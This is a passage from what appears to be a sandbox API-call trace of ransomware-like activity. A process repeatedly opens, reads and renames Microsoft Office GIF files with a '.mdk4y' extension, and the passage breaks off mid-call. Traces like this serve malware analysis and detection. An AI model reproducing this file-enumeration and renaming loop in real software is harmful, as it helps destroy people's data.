lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14985_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.434] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866500000) returned 1 [0183.435] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x40, lpOverlapped=0x0) returned 1 [0183.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866500000) returned 1 [0183.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866500000) returned 1 [0183.436] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif.mdk4y")) returned 1 [0183.436] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.436] AreFileApisANSI () returned 1 [0183.436] GetACP () returned 0x4e4 [0183.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15018_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15018_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.436] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866700000) returned 1 [0183.437] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x40f6, lpOverlapped=0x0) returned 1 [0183.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866900000) returned 1 [0183.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825866900000) returned 1 [0183.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif.mdk4y")) returned 1 [0183.440] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.440] AreFileApisANSI () returned 1 [0183.440] GetACP () returned 0x4e4 [0183.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15019_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15019_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.440] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867000000) returned 1 [0183.440] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xfe, lpOverlapped=0x0) returned 1 [0183.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867100000) returned 1 [0183.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867100000) returned 1 [0183.441] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif.mdk4y")) returned 1 [0183.442] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.442] AreFileApisANSI () returned 1 [0183.442] GetACP () returned 0x4e4 [0183.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15020_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15020_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.442] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867200000) returned 1 [0183.442] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x63, lpOverlapped=0x0) returned 1 [0183.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867300000) returned 1 [0183.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867300000) returned 1 [0183.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif.mdk4y")) returned 1 [0183.444] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.444] AreFileApisANSI () returned 1 [0183.444] GetACP () returned 0x4e4 [0183.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15021_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15021_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.444] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867400000) returned 1 [0183.444] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4a, lpOverlapped=0x0) returned 1 [0183.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867500000) returned 1 [0183.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867500000) returned 1 [0183.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif.mdk4y")) returned 1 [0183.446] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.446] AreFileApisANSI () returned 1 [0183.446] GetACP () returned 0x4e4 [0183.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15022_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15022_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.446] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867700000) returned 1 [0183.447] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x61, lpOverlapped=0x0) returned 1 [0183.447] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867700000) returned 1 [0183.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867800000) returned 1 [0183.448] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif.mdk4y")) returned 1 [0183.448] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.448] AreFileApisANSI () returned 1 [0183.448] GetACP () returned 0x4e4 [0183.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15023_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15023_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.448] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825867900000) returned 1 [0183.449] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7a, lpOverlapped=0x0) returned 1 [0183.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868000000) returned 1 [0183.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868000000) returned 1 [0183.450] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif.mdk4y")) returned 1 [0183.451] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.451] AreFileApisANSI () returned 1 [0183.451] GetACP () returned 0x4e4 [0183.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15056_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15056_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.451] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868100000) returned 1 [0183.452] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xda, lpOverlapped=0x0) returned 1 [0183.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868200000) returned 1 [0183.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868200000) returned 1 [0183.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif.mdk4y")) returned 1 [0183.453] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.453] AreFileApisANSI () returned 1 [0183.453] GetACP () returned 0x4e4 [0183.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15057_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15057_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.453] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868300000) returned 1 [0183.453] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xda, lpOverlapped=0x0) returned 1 [0183.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868400000) returned 1 [0183.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868400000) returned 1 [0183.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif.mdk4y")) returned 1 [0183.455] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.455] AreFileApisANSI () returned 1 [0183.455] GetACP () returned 0x4e4 [0183.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15058_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15058_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.455] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868600000) returned 1 [0183.456] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc7, lpOverlapped=0x0) returned 1 [0183.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868600000) returned 1 [0183.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868600000) returned 1 [0183.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif.mdk4y")) returned 1 [0183.457] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.457] AreFileApisANSI () returned 1 [0183.457] GetACP () returned 0x4e4 [0183.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15059_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15059_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.457] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868800000) returned 1 [0183.458] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaa, lpOverlapped=0x0) returned 1 [0183.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868900000) returned 1 [0183.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825868900000) returned 1 [0183.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif.mdk4y")) returned 1 [0183.460] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.460] AreFileApisANSI () returned 1 [0183.460] GetACP () returned 0x4e4 [0183.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15060_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15060_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.460] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869100000) returned 1 [0183.461] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x78, lpOverlapped=0x0) returned 1 [0183.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869100000) returned 1 [0183.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869100000) returned 1 [0183.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif.mdk4y")) returned 1 [0183.462] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.462] AreFileApisANSI () returned 1 [0183.462] GetACP () returned 0x4e4 [0183.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15061_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15061_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.463] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869300000) returned 1 [0183.463] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x77, lpOverlapped=0x0) returned 1 [0183.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869400000) returned 1 [0183.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869400000) returned 1 [0183.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif.mdk4y")) returned 1 [0183.464] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.464] AreFileApisANSI () returned 1 [0183.464] GetACP () returned 0x4e4 [0183.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15132_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15132_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.465] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869500000) returned 1 [0183.465] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869600000) returned 1 [0183.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825869600000) returned 1 [0183.466] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif.mdk4y")) returned 1 [0183.467] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.467] AreFileApisANSI () returned 1 [0183.467] GetACP () returned 0x4e4 [0183.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15133_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, 